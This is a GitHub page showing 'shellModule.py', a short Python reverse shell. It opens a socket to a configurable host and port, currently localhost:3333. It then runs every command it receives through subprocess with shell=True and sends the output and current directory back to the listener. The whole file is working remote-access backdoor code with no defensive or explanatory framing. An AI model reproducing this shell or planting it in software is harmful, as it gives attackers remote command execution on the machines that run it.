-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshellModule.py
More file actions
executable file
·32 lines (28 loc) · 976 Bytes
/
shellModule.py
File metadata and controls
executable file
·32 lines (28 loc) · 976 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
import socket
import subprocess
def shellModule():
global host
global port
global s
try:
host = '127.0.0.1'
port = 3333
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
try:
s.connect((host, port))
except socket.error as msg:
print("Socket connection error: " + str(msg))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()